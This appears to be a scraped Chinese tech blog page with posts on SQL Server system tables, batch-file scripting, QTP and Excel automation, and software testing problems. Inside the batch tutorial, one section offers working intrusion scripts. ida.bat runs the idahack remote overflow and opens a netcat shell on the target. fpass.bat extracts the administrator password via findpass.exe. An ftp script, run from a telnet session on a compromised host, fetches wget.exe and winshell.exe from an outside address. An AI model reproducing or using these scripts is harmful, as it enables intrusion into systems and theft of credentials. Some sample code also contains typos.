    该列的精度级别。
    scale
    int
    该列的小数位数。
    iscomputed
    int
    表示是否已计算该列的标志: 
    0 = 未计算。
    1 = 已计算。
    isoutparam
    int
    表示该过程参数是否是输出参数: 
    1 = 真。
    0 = 假。
    isnullable
    int
    表示该列是否允许空值: 
    1 = 真。
    0 = 假。

     
    sysconstraints 
    包含约束映射,映射到拥有该约束的对象。该系统目录存储在每个数据库中。
    列名
    数据类型
    描述
    constid
    int
    约束号。
    id
    int
    拥有该约束的表 ID。
    colid
    smallint
    在其上定义约束的列 ID,如果是表约束则为 0。
    spare1
    tinyint
    保留。
    status
    int
    位图指示状态。可能的值包括: 
    1 = PRIMARY KEY 约束。
    2 = UNIQUE KEY 约束。
    3 = FOREIGN KEY 约束。
    4 = CHECK 约束。
    5 = DEFAULT 约束。
    16 = 列级约束。
    32 = 表级约束。
    actions
    int
    保留。
    error
    int
    保留。

     
    sysfilegroups 
    数据库中的每个文件组在表中占一行。该表存储在每个数据库中。在该表中至少有一项用于主文件组。
    列名
    数据类型
    描述
    groupid
    smallint
    每个数据库的唯一组标识号。
    allocpolicy
    smallint
    保留。
    status
    int
    0x8 = READ ONLY
    0x10 = DEFAULT
    groupname
    sysname
    文件组的名称。
    sysforeignkeys 
    包含关于表定义中的 FOREIGN KEY 约
  • BAT介绍

    2008-08-12 22:07:35

    批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。

    首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

    其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

    第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

    第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
    @ECHO OFF
    PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
    LH SMARTDRV.EXE /X
    LH DOSKEY.COM /INSERT
    LH CTMOUSE.EXE
    SET TEMP=D:\TEMP
    SET TMP=D:\TEMP


    批处理的作用
    简单的说,批处理的作用就是自动的连续执行多条命令。

    这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
    C:\>cd wps
    C:\WPS>spdos
    C:\WPS>py
    C:\WPS>wbx
    C:\WPS>wps
    如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

    好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
    @echo off
    c:
    cd\wps
    spdos
    py
    wbx
    wps
    cd\

    以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

    常用命令

    echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
    echo 表示显示此命令后的字符
    echo off 表示在此语句后所有运行的命令都不显示命令行本身
    @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
    call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
    pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
    rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

    例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

      批处理文件的内容为:         命令注释:

        @echo off           不显示后续命令行及当前命令行
        dir c:\*.* >a.txt       将c盘文件列表写入a.txt
        call c:\ucdos\ucdos.bat    调用ucdos
        echo 你好            显示"你好"
        pause              暂停,等待按键继续
        rem 准备运行wps         注释:准备运行wps
        cd ucdos            进入ucdos目录
        wps               运行wps  

    批处理文件的参数

    批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

    %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

    例2:C:根目录下有一批处理文件名为f.bat,内容为:
    @echo off
    format %1

    如果执行C:\>f a:
    那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

    例3:C:根目录下一批处理文件名为t.bat,内容为:
    @echo off
    type %1
    type %2

    那么运行C:\>t a.txt b.txt
    %1 : 表示a.txt
    %2 : 表示b.txt
    于是上面的命令将顺序地显示a.txt和b.txt文件的内容。


    特殊命令

    if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

    一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

    1、if [not] "参数" == "字符串" 待执行的命令

    参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

    例:if "%1"=="a" format a:

    2、if [not] exist [路径\]文件名 待执行的命令
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    如: if exist c:\config.sys type c:\config.sys
    表示如果存在c:\config.sys文件,则显示它的内容。

    3、if errorlevel <数字> 待执行的命令

    很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

    如if errorlevel 2 goto x2

    二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

    如:

    goto end

    :end
    echo this is the end

    标号用“:字符串”来定义,标号所在行不被执行。

    三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

    注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

    choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

    CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

    描述:
      该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

    参数列表:
     /C  choices    指定要创建的选项列表。默认列表是 "YN"。

     /N         在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

     /CS         允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

     /T  timeout    做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项
               会得到选择。

     /D  choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

     /M  text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。

     /?         显示帮助消息。

     注意:
     ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。

    示例:
     CHOICE /?
     CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
     CHOICE /T 10 /C ync /CS /D y
     CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
     CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
     
    如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
    屏幕上会显示:
    确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
     
     
    例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
    @echo off
    choice /C dme /M "defrag,mem,end"
    if errorlevel 3 goto end
    if errorlevel 2 goto mem
    if errotlevel 1 goto defrag

    :defrag
    c:\dos\defrag
    goto end

    :mem
    mem
    goto end

    :end
    echo good bye

    此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

    四、for 循环命令,只要条件符合,它将多次执行同一命令。

    语法:
    对一组文件中的每一个文件执行某个特定命令。

    FOR %%variable IN (set) DO command [command-parameters]

    %%variable    指定一个单一字母可替换的参数。
    (set)      指定一个或一组文件。可以使用通配符。
    command     指定对每个文件执行的命令。
    command-parameters 为特定命令指定参数或命令行开关。

    例如一个批处理文件中有一行:
    for %%c in (*.bat *.txt) do type %%c

    则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。


    批处理示例

    1. IF-EXIST

    1)

    首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
    @echo off
    IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
    IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

    然后运行它:
    C:\>TEST1.BAT

    如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

    2)

    接着再建立一个test2.bat文件,内容如下:
    @ECHO OFF
    IF EXIST \%1 TYPE \%1
    IF NOT EXIST \%1 ECHO \%1 does not exist

    执行:
    C:\>TEST2 AUTOEXEC.BAT
    该命令运行结果同上。

    说明:
    (1) IF EXIST 是用来测试文件是否存在的,格式为
    IF EXIST [路径+文件名] 命令
    (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

    3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
    @echo off
    IF "%1" == "A" ECHO XIAO
    IF "%2" == "B" ECHO TIAN
    IF "%3" == "C" ECHO XIN

    如果运行:
    C:\>TEST3 A B C
    屏幕上会显示:
    XIAO
    TIAN
    XIN

    如果运行:
    C:\>TEST3 A B
    屏幕上会显示
    XIAO
    TIAN

    在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

    2、IF-ERRORLEVEL

    建立TEST4.BAT,内容如下:
    @ECHO OFF
    XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
    IF ERRORLEVEL 0 ECHO 成功拷贝文件

    然后执行文件:
    C:\>TEST4

    如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

    IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
    @ECHO OFF
    XCOPY C:\AUTOEXEC.BAT D:\
    IF ERRORLEVEL 0 ECHO 成功拷贝文件
    IF ERRORLEVEL 1 ECHO 未找到拷贝文件
    IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
    IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
    IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

    无论拷贝是否成功,后面的:

    未找到拷贝文件
    用户通过ctrl-c中止拷贝操作
    预置错误阻止文件拷贝操作
    拷贝过程中写盘错误

    都将显示出来。

    以下就是几个常用命令的返回值及其代表的意义:
    backup
    0 备份成功
    1 未找到备份文件
    2 文件共享冲突阻止备份完成
    3 用户用ctrl-c中止备份
    4 由于致命的错误使备份操作中止

    diskcomp
    0 盘比较相同
    1 盘比较不同
    2 用户通过ctrl-c中止比较操作
    3 由于致命的错误使比较操作中止
    4 预置错误中止比较

    diskcopy
    0 盘拷贝操作成功
    1 非致命盘读/写错
    2 用户通过ctrl-c结束拷贝操作
    3 因致命的处理错误使盘拷贝中止
    4 预置错误阻止拷贝操作

    format
    0 格式化成功
    3 用户通过ctrl-c中止格式化处理
    4 因致命的处理错误使格式化中止
    5 在提示“proceed with format(y/n)?”下用户键入n结束

    xcopy
    0 成功拷贝文件
    1 未找到拷贝文件
    2 用户通过ctrl-c中止拷贝操作
    4 预置错误阻止文件拷贝操作
    5 拷贝过程中写盘错误

    3、IF STRING1 == STRING2

    建立TEST5.BAT,文件内容如下:
    @echo off
    IF "%1" == "A" formAT A:

    执行:
    C:\>TEST5 A
    屏幕上就出现是否将A:盘格式化的内容。

    注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
    如:if [%1]==[A] 或者 if %1*==A*

    5、GOTO

    建立TEST6.BAT,文件内容如下:
    @ECHO OFF
    IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
    GOTO _DONE
    :_COPY
    COPY C:\AUTOEXEC.BAT D:\
    :_DONE

    注意:
    (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
    (2) 标号的命名规则与文件名的命名规则相同。
    (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

    6、FOR

    建立C:\TEST7.BAT,文件内容如下:
    @ECHO OFF
    FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

    运行:
    C:>TEST7

    执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。



    win2000命令行方式批处理BAT文件技巧
     

    文章结构
    1. 所有内置命令的帮助信息
    2. 环境变量的概念
    3. 内置的特殊符号(实际使用中间注意避开)
    4. 简单批处理文件概念
    5. 附件1 tmp.txt
    6. 附件2 sample.bat

    ###########################
    1. 所有内置命令的帮助信息
    ###########################
    ver
    cmd /?
    set /?
    rem /?
    if /?
    echo /?
    goto /?
    for /?
    shift /?
    call /?
    其他需要的常用命令
    type /?
    find /?
    findstr /?
    copy /?

    下面将所有上面的帮助输出到一个文件
    echo ver >tmp.txt
    ver >>tmp.txt
    echo cmd /? >>tmp.txt
    cmd /? >>tmp.txt
    echo rem /? >>tmp.txt
    rem /? >>tmp.txt
    echo if /? >>tmp.txt
    if /? >>tmp.txt
    echo goto /? >>tmp.txt
    goto /? >>tmp.txt
    echo for /? >>tmp.txt
    for /? >>tmp.txt
    echo shift /? >>tmp.txt
    shift /? >>tmp.txt
    echo call /? >>tmp.txt
    call /? >>tmp.txt
    echo type /? >>tmp.txt
    type /? >>tmp.txt
    echo find /? >>tmp.txt
    find /? >>tmp.txt
    echo findstr /? >>tmp.txt
    findstr /? >>tmp.txt
    echo copy /? >>tmp.txt
    copy /? >>tmp.txt
    type tmp.txt


    #############################
    2. 环境变量的概念
    #############################

    C:\Program Files>set
    ALLUSERSPROFILE=C:\Documents and Settings\All Users
    CommonProgramFiles=C:\Program Files\Common Files
    COMPUTERNAME=FIRST
    ComSpec=C:\WINNT\system32\cmd.exe
    NUMBER_OF_PROCESSORS=1
    OS=Windows_NT
    Os2LibPath=C:\WINNT\system32\os2\dll;
    Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
    PROCESSOR_ARCHITECTURE=x86
    PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=0605
    ProgramFiles=C:\Program Files
    PROMPT=$P$G
    SystemDrive=C:
    SystemRoot=C:\WINNT
    TEMP=C:\WINNT\TEMP
    TMP=C:\WINNT\TEMP
    USERPROFILE=C:\Documents and Settings\Default User
    windir=C:\WINNT


    path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
    %windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
    语法: copy mychenxu.exe %windir%\system32\.
    使用点(.) 便于一目了然
    对环境变量的引用使用(英文模式,半角)双引号
    %windir% 变量
    %%windir%% 二次变量引用.
    我们常用的还有
    %temp% 临时文件目录
    %windir% 系统目录
    %errorlevel% 退出代码

    输出文件到临时文件目录里面.这样便于当前目录整洁.

    对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
    C:\>dir p*
    C:\ 的目录
    2000-09-02 11:47 2,164 PDOS.DEF
    1999-01-03 00:47 <DIR> Program Files
    1 个文件 2,164 字节
    1 个目录 1,505,997,824 可用字节

    C:\>cd pro*
    C:\Program Files>

    C:\>
    C:\>cd "Program Files"
    C:\Program Files>


    ############################################
    3. 内置的特殊符号(实际使用中间注意避开)
    ############################################
    微软里面内置了下列字符不能够在创建的文件名中间使用
    con nul aux \ / | || && ^ > < *

    You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
    (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
    To create the variable value new&name, type:
    set varname=new^&name

    To create the variable value "new&name", type:
    set varname="new&name"

    The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

    find "Pacific Rim" < trade.txt > nwtrade.txt
    IF EXIST filename. (del filename.) ELSE echo filename. missing

    > 创建一个文件
    >> 追加到一个文件后面
    @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
    ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
    echo 123456 ^> aaa
    echo 1231231 > bbb
    () 包含命令
    (echo aa & echo bb)
    , 和空格一样的缺省分隔符号.
    ; 注释,表示后面为注释
    : 标号作用
    | 管道操作
    & Usage:第一条命令 & 第二条命令 [& 第三条命令...]
    用这种方法可以同时执行多条命令,而不管命令是否执行成功
    dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
    && Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
    当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
    || Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
    当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

    常用语法格式
    IF [NOT] ERRORLEVEL number command para1 para2
    IF [NOT] string1==string2 command para1 para2
    IF [NOT] EXIST filename command para1 para2

    IF EXIST filename command para1 para2
    IF NOT EXIST filename command para1 para2
    IF "%1"=="" goto END
    IF "%1"=="net" goto NET
    IF NOT "%2"=="net" goto OTHER
    IF ERRORLEVEL 1 command para1 para2
    IF NOT ERRORLEVEL 1 command para1 para2
    FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
    按照字母顺序 ijklmnopq依次取参数.
    eol=c - 指一个行注释字符的结尾(就一个)
    skip=n - 指在文件开始时忽略的行数。
    delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。


    ########################
    4. 简单批处理文件概念
    ########################

    echo This is test > a.txt
    type a.txt
    echo This is test 11111 >> a.txt
    type a.txt
    echo This is test 22222 > a.txt
    type a.txt
    第二个echo是追加
    第三个echo将清空a.txt 重新创建 a.txt

    netstat -n | find "3389"
    这个将要列出所有连接3389的用户的ip.

    ________________test.bat______
    @echo please care
    echo plese care 1111
    echo plese care 2222
    echo plese care 3333
    @echo please care
    @echo plese care 1111
    @echo plese care 2222
    @echo plese care 3333
    rem 不显示注释语句,本行显示
    @rem 不显示注释语句,本行不显示
    @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
    @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
    _____________________________

    下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

    ___________________ida.bat_____
    @rem ver 1.0
    @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
    @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

    @if "%1" =="" goto USAGE
    @if NOT "%2" =="" goto SP2

    :start
    @echo Now start ...
    @ping %1
    @echo chinese win2k:1 sp1:2 sp2:3
    idahack.exe %1 80 1 99 >%temp%\_tmp
    @echo "prog exit code [%errorlevel%] idahack.exe"
    @type %temp%\_tmp
    @find "good luck :)" %temp%\_tmp
    @echo "prog exit code [%errorlevel%] find [goog luck]"
    @if NOT errorlevel 1 nc.exe %1 99
    @goto END

    :SP2
    @idahack.exe %1 80 %2 99 %temp%\_tmp
    @type %temp%\_tmp
    @find "good luck :)" %temp%\_tmp
    @if NOT errorlevel 1 nc.exe %1 99
    @goto END

    :USAGE
    @echo Example: ida.bat IP
    @echo Example: ida.bat IP (2,3)

    :END
    _____________________ida.bat__END_______

    下面我们再来第二个文件.就是得到administrator的口令.
    大多数人说得不到.其实是自己的没有输入正确的信息.

    ___________________________fpass.bat____________________________________________
    @rem ver 1.0
    @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
    @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

    @echo start....
    @echo ____________________________________
    @if "%1"=="" goto USAGE
    @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
    @echo "prog exit code [%errorlevel%] findpass.exe"
    @type %temp%\_findpass.txt
    @echo ________________________________Here__pass★★★★★★★★
    @ipconfig /all >>%temp%\_findpass.txt
    @goto END

    :USAGE
    @pulist.exe >%temp%\_pass.txt
    @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
    @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
    @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

    :END
    @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
    @echo " fpass.bat end [%errorlevel%] !"
    _________________fpass.bat___END___________________________________________________________

    还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
    依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

    echo open 210.64.x.4 3396>w
    echo read>>w
    echo read>>w
    echo cd winnt>>w
    echo binary>>w
    echo pwd >>w
    echo get wget.exe >>w
    echo get winshell.exe >>w
    echo get any.exe >>w
    echo quit >>w
    ftp -s:w
  • DataTable使用方法

    2008-08-08 22:25:57

    Function ImportSheet(ExcelSheetName)
       Err.Clear
       Dim sheetCount
       sheetCount = DataTable.GetSheetCount
       For i = 1 to sheetCount
        If strcomp(ExcelSheetName, DataTable.GetSheet(i).Name) = 0 Then
         ImportSheet = True
         Exit Function
        End If
       Next
       DataTable.AddSheet ExcelSheetName
       DataTable.ImportSheet "RandallTest.xls", ExcelSheetName, ExcelSheetName
       If Err.Number<>0 Then
        ImportSheet = False
        Exit Function
       Else
          ImportSheet = True   
       End If
    End Function

    Function GetCellData(DTSheetName, FieldName, Row)
       Err.Clear
       Dim sheetCount
       Dim blnExist
       blnExist = False
       sheetCount = DataTable.GetSheetCount
       For i = 1 to sheetCount
        If strcomp(DTSheetName, DataTable.GetSheet(i).Name) = 0 Then
         blnExist = True
         Reporter.ReportEvent micDone, "GetSheet: "+DTSheetName, "Passed"
         Exit For
        End If
       Next  
       If Not blnExist Then
        Reporter.ReportEvent micFail, "Sheet Exist: "+ DTSheetName, "Failed"
        GetCellData = False
        Exit Function
       End If
       DataTable.SetCurrentRow Row
       GetCellData = DataTable.Value(FieldName, DTSheetName)
       If Err.Number<>0 Then
        Reporter.ReportEvent micFail, "GetSheetValue", "Failed"
        Exit Function
       End If
    End Function

  • 测试难题

    2008-08-03 11:40:34

    转:http://blog.csdn.net/omomo/archive/2007/06/10/1646233.aspx

    最近人们谈到测试,常常会听到:测试其实很复杂,所以很有前途。但具体怎么复杂却不尽其详。我觉得这篇我在微软内部测试架构师站点里读到的,Jim Moore 关于测试领域中有待解决的难题的文章很有启发。读过之后,静心想想,技术含量如何?好像蛮高的?呵呵,也许吧。这其中有些在微软已经解决了,有些却也是没有解决的。 突然发现,测试技术对一个公司来说好像还蛮秘密的,微软很多内部测试工具测试框架都不产品化,虽然那些工具看起来是可以普遍运用到业界的。
     
    <<翻译开始了>>
    难题可以分为这么些类别:

    质量衡量标准 (标尺)

    可清晰量化的衡量产品质量
    测试覆盖率-代码块覆盖,功能覆盖,用例覆盖.... 这么多覆盖率,每个覆盖率,合理的目标是多少? 50%? 80% 100%
    按照找到的缺陷数目,多少是被用户找到的,多少是被内部非测试团队找到的,多少是被测试团队找到的,以此为衡量质量的标尺之一?
    重复发生的回归性缺陷数目 
    补丁和Service package数量,来衡量质量 
    我们有这么多可以用来衡量质量的标准,那么,哪些应该是核心的标准,最重要的普遍标准.怎么把各个标准和质量关联上?
    制定发布的质量指标,怎样才是正确的指标,可以指导我们决定发布还是延迟发布产品直到我们达到该指标.
    怎么定义测试效率?包括怎么衡量s变化对测试的影响..
    怎么定义测试"完成"了?

    复杂领域产品测试:

    音频和视频质量测试
    "看起来效果对吗?"
    "听起来效果对吗?"
    效果"好"吗?
    各种主观类型的测试判断

    测试工具对系统本身的影响(测不准原理?):

    性能测试工具本身对机器性能的影响所导致的测不准效果.

    测试要素的各种组合(测试范围庞大):

    测试要素组合, 覆盖各种可能组合,将变得庞大: 操作系统 vs. 调试/发布 vs. 硬件配置 vs. 各种语言 vs. etc. vs. etc.
    无穷无尽的用户可能输入.
    有时间相关性的产品的测试.各种时间可能的穷举是无限的.

    整个产品范围测试中的问题

    整个产品的压力测试 
    这个产品性能测试 vs. 各个开发组对自己模块所作的性能测试
    集成测试.

    测试集优选:

    由时间和进度影响决定?
    由用户影响决定?
    由平均测试用例所找到的缺陷数决定? (或者考虑其他投资回报因素而决定)
    挑选测试用例覆盖了所更改的代码,依此决定?
    由所要测试的代码复杂度决定?

    项目计划安排:

    准确估计测试所需要的时间.
    测试团队如何参与决定项目整体进度计划.
    敏捷快速迭代测试的计划安排.

    测试对项目的影响:

    争取修复缺陷– i.e. 比如要求开发组修复缺陷,而他们回答"没人会这么做!", 这个时候怎么有理有据的坚持要求修复缺陷.
    设计阶段的测试团队参与 – 可测试性的分析/设计.
    是否该拥有对发布/不发布的决策的影响.

    测试自动化:

    自动化测试用例的后期维护梦魇.
    怎么模拟人眼人耳来做自动化测试(音频/视频测试)
    产品代码中缺乏足够的接口来支持自动化测试(比如开发人员自己画出来的控件)
    模拟N用户操作的自动化测试(N非常大)
    模拟真实的用户-- [随机的用户行为]

    集成测试:

    集成测试中的自动化测试
    调试的责任,谁做集成测试,谁负责调试整个产品中的问题?
    集成测试应该包含哪些测试用例?

    其他普遍的难题:

    几个版本发布之后,积累的测试代码变得臃肿和难以维护.
    设计不好的测试代码,重复的测试代码,各个测试自动化队伍之间缺乏总体的设计和架构避免冗余工作
    冗余的测试用例
    留住有经验的测试人才

  • Excel 操作

    2008-08-02 11:53:25

     Excel.Application

    Excel中几个常用对象:WorkBooks,WorkSheets,Cells.可以通过Name属性标识,也可通过index标识。

     Dim ExcelApp
     Set ExcelApp = CreateObject("Excel.Application")
     ExcelApp.WorkBooks.Open "F:\RandallTest.xls"
     Dim myWorkBook
     Set myWorkBook = ExcelApp.workbooks(1)
     myWorkBook.WorkSheets("Sheet1").Activate
     Dim myWorkSheet
     Set myWorkSheet = myWorkBook.worksheets("Sheet1")
     msgbox myWorkSheet.Cells(1,1).Value
     myWorkSheet.Cells(1,1).Value = "temp"
     myWorkBook.SaveAs "C:\RandallTest.xls"
     Set ExcelApp = nothing

  • 测试容易遗漏的bug

    2008-07-19 10:54:41

    网络转载:

    通常软件测试会暴露软件中的缺陷,经过修正后可以保证软件系统的功能满足需求并正确运行。但是,在系统测试和确认测试中,测试人员容易遗漏一些隐藏的缺陷。众所周知,软件测试不可能发现所有的缺陷,而软件开发周期各个阶段仍然存在注入缺陷的可能,但是,有一些缺陷是测试中容易忽略的,也就是说,通过测试方法和用例可以充分暴露这些缺陷,遗憾的是,它们往往被忽略或者某种原因忘记测试了,这就给软件留下了隐患或者危机。这些容易被忽略的缺陷包括:

      1、安装缺陷

      通常项目组完成代码后,发布时候安装打包是最后一个环节,而软件测试人员通常在测试的时候,没有仔细的测试这一部分,而把用例集中在其他功能上。安装时候的缺陷通常通过拷贝而不是运行安装程序方式给测试人员安装软件,结果正式安装时候出现问题,引起例如控件没有注册,注册表没有导入等。删除时候没有注意安装文件夹是否存在用户文件,造成数据丢失;使用绝对路径;安装顺序没有说明书。

      2、配置文件

      有些文件在ini等配置文件中写出了管理员口令密码等信息,而且是明文的!这是一个安全隐患。另外,有些安装文件的 XML 文件,为了方便在数据库和中间层连接文件中写入了Admin 口令和密码。作为一个合格的软件测试人员,必须检查这些可以用记事本打开的文件。因为,一个稍有常识而且喜欢探索的用户,可能从中获取信息而成为不自觉的黑客。所以,配置文件可能成为软件安全方面的一个缺陷。

      3、网页安全缺陷

